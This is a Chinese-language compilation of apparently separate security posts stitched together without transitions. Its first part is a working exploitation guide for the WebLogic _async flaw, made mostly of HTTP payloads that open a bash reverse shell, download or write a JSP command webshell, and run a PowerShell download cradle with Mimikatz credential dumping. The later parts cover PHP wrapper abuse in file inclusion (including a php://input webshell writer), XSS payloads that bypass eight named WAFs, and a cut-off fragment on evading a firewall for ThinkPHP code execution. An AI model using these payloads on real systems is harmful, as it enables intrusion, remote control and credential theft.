2019年4月

复现环境

1 Kali2019Win10(关闭安全中心实时防护下)
2 Weblogic10.3.6(wls1036_generic.jar)

漏洞组件

bea_wls9_async_response.war

漏洞路径

http://ip:port/_async/AsyncResponseService

漏洞确认

访问漏洞路径存在以下页面,即有可能存在漏洞

1.png

漏洞利用(所有利用都需要被攻击机能够访问公网)

1.Linux下

1 反弹shell
使用如下报文即可

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 853
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/vpsip/vpsport 0>&1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

2 上传webshell

1.放置一个webshell.txt到公网
2.使用以下报文 任选其一

报文一

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

报文二

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

3.访问webshell

http://ip:port/_async/webshell.jsp

2.png

3 写webshell(无需公网)

1.使用如下报文,任选其一

报文一

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.50.219:7001
Content-Length: 1378
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

报文二

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.50.219:7001
Content-Length: 1376
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

2.访问webshell

报文一的使用方式为
http://ip:port/_async/webshell.jsp?pwd=123&cmd=whoami

3.png

报文二的使用方式为
http://ip:port/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami

4.png

2.Win下

1 反弹shell
可直接使用CobaltStrike生成一个payload.ps1 powershell脚本,将该脚本放到公网上,然后使用如下报文即可

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 861
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

5.png

2 上传webshell

**1.放置一个webshell.txt到公网
2.使用以下报文 任选其一均可**

报文一

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

报文二

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -urlcache -split -f http://ip:port/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

3.访问webshell

http://ip:port/_async/webshell.jsp

6.png

3 写webshell(无需公网)

1.使用如下报文,任选一个报文组

报文组一

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1367
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > serversAdminServertmp_WL_internalbea_wls9_async_response8tpkyswarwebshell.txt</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 913
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -decode serversAdminServertmp_WL_internalbea_wls9_async_response8tpkyswarwebshell.txt serversAdminServertmp_WL_internalbea_wls9_async_response8tpkyswarwebshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

报文组二

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1367
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.txt</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 913
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -decode servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

2.访问webshell

报文一的使用方式为
http://ip:port/_async/webshell.jsp?pwd=123&cmd=whoami

7.png

报文二的使用方式为
http://ip:port/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami

8.png

(注:上述报文中servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/为默认路径,如果路径修改,可以配合反弹shell进行获取)。

首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,后续再对每个文件包含函数进一步进行探讨。

环境概要:

PHP.ini:

allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。

为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。

0×01 是否截断问题:

本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。

情况一:不需要截断:

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt

<?php

include($_GET['file'])

?>

情况二:需要截断:

在php版本<=5.2中进行测试是可以使用%00截断的。

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00

<?php

include($_GET['file'].’.php’)

?>

0×02 allow_url_fopen与allow_url_include是否开启的问题:

【file://协议】

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

参考自:http://php.net/manual/zh/wrappers.file.php

1.jpeg

使用方法:

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

2.jpeg

【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

3.jpeg

测试现象:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

4.jpeg

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

5.jpeg

测试现象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

6.jpeg

【zip://, bzip2://, zlib://协议】

PHP.ini:

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

参考自:http://php.net/manual/zh/wrappers.compression.php

7.jpeg

【zip://协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

8.jpeg

【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

9.jpeg

【zlib://协议】

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

10.jpeg

【data://协议】

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。

11.jpeg

测试现象:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

12.jpeg

0×03 常规小结:

PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

13.jpeg

1.jpeg

概述

本文提出了一种绕过XSS安全机制的新型方法,这种技术由三个阶段组成:确定Payload结构、探测和混淆处理。首先,我们需要针对给定的上下文环境,确定各种不同的Payload结构以达到最优的测试效果。接下来就是探测,这里涉及到根据目标所实现的安全机制来进行各种字符串测试,并分析目标的响应数据以便基于分析结果来做出安全假设。最后,根据分析结果来判断是否要对Payload进行混淆处理或结构调整。

致读者

本文假设读者对XSS、HTML和JavaScript已经有了基本的了解。

全文使用{string}来代表Payload机制中的组件。

全文使用{?string}来代表可选组件。

全文使用“主要字符”这个名词代表Payload中必须包含的字符。

作者建议使用URL编码来处理Payload中不安全的字符,例如“+”和“&”等等。

在探测过程中,建议使用无害的字符串来代替{javascript}。

介绍

XSS是Web应用程序中常见的漏洞之一,网站管理员可以通过用户输入过滤、根据上下文转换输出数据、正确使用DOM、强制执行跨源资源共享(CORS)策略以及其他的安全策略来规避XSS漏洞。尽管现在有很多预防XSS攻击的技术,但Web应用程序防火墙(WAF)或自定义数据过滤器是目前使用比较广泛的安全保护技术了,很多厂商都会利用这些技术来抵御新型的XSS攻击向量。虽然WAF厂商仍在尝试引入机器学习技术,但基于正则表达式的字符串检测方法仍是目前最广泛使用的技术。

本文提出了一种构造XSS Payload的新型方法,这种方法构造出来的XSS Payload可以绕过基于正则表达式匹配的安全机制。

HTML上下文

当用户的输入数据映射在Web页面的HTML代码中时,这种场景就是我们所谓的HTML上下文。HTML上下文可以根据用户输入在代码中的映射位置来进一步划分成:

1、 标签内:<inputtype=”text” value=”$input”>

2、 标签外:<span>Youentered $input</span>

标签外

在这种上下文场景中,主要字符“<”代表HTML标签的起始。根据HTML定义,标签名必须以字母作为开头,因此我们可以利用下面的规则来判断用来匹配标签名的正则表达式:

1、<svg – 如果通过,表明没有进行任何标签检测;

2、<dev – 如果无法通过,则为<[a-z]+;

3、x<dev – 如果通过,则为^<[a-z]+;

4、<dEv – 如果无法通过,则为<[a-zA-Z]+;

5、<d3V – 如果无法通过,则为<[a-zA-Z0-9]+;

6、<d|3v – 如果无法通过,则为<.+;

如果上述方式均无法探测成功,则说明目标站点部署的安全机制无法被绕过。这种方式的假阳性率非常高,因此不鼓励使用。如果上述探测方式有一个可行,那么可用来构造Payload的机制就非常多了。

Payload机制#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

找到{tag}的合适值之后,就需要猜测用于匹配标签和事件处理器间数据过滤器的正则表达式了。这一步可以使用下面的探测机制来实现:

1、<tag xxx – 如果无法通过,则为{space};

2、<tag%09xxx – 如果无法通过,则为[\s];

3、<tag%09%09xxx – 如果无法通过,则为\s+;

4、<tag/xxx – 如果无法通过,则为[\s/]+;

5、<tag%0axxx- 如果无法通过,则为[\s\n]+;

6、<tag%0dxxx>- 如果无法通过,则为[\s\n\r+]+;

7、<tag/~/xxx – 如果无法通过,则为.*+;

这个组件(例如事件处理器)是Payload结构中最关键的部分。通常,匹配它的是常规正则表达式(例如“onw+”)或黑名单(例如“on(load|click|error|show)”)。第一个正则表达式非常严格,很难绕过,而基于黑名单的模式可以通过不常用的事件处理器来绕过。安全机制的实现类型可以通过下面两种简单的方法来识别:

1、<tag{filler}onxxx – 如果无法通过,则为on\w+。如果通过,则为on(load|click|error|show);

2、<tag{filler}onclick- 如果通过,则表明没有事件处理器检测正则表达式;

下面是一些防火墙黑名单中没标记的事件处理器:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

常用的Payload结束符如下:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

Payload机制#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

使用了<object>标签的Payload可以利用下面的Payload机制来构建:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload机制#3

这种Payload机制有两种形式:明文或混淆处理。

明文结构如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆处理后的Payload结构如下:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

JavaScript上下文

Payload机制#1

{quote}{delimiter}{javascript}{delimiter}{quote}

可用的Payload有:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'

Payload机制#2

{quote}{delimiter}{javascript}//

可以使用下列Payload机制来构建Payload:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

防火墙绕过

在研究过程中,总共绕过了八款WAF。下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术:

WAF名称:Cloudflare

Payload:<a”/onclick=(confirm)()>click

绕过技术:非空格填充

WAF名称:Wordfence

Payload:<a/href=javascript&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Barracuda

Payload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:Comodo

Payload:<d3v/onauxclick=(((confirm)))“>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:ModSecurity

Payload:<details/open/ontoggle=alert()>

绕过技术:黑名单中缺少标签或事件处理器

WAF名称:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆

参考资料

HTML规范:【传送门

数字字符引用:【传送门

昨天在论坛遇到一同学求助,找到一个thinkphp的站点,存在远程代码执行漏洞,但是有宝塔防火墙没法一键getshell,几经尝试之后利用远程下载和文件包含成功绕过宝塔,又利用蚁剑自定义编解码插件,完美绕过

主要限制

请求体中不能含有eval、system等关键字
php启用了disable_functions
无法直接用scandir扫描网站目录
菜刀或蚁剑连接也不能出现eval、system等关键字

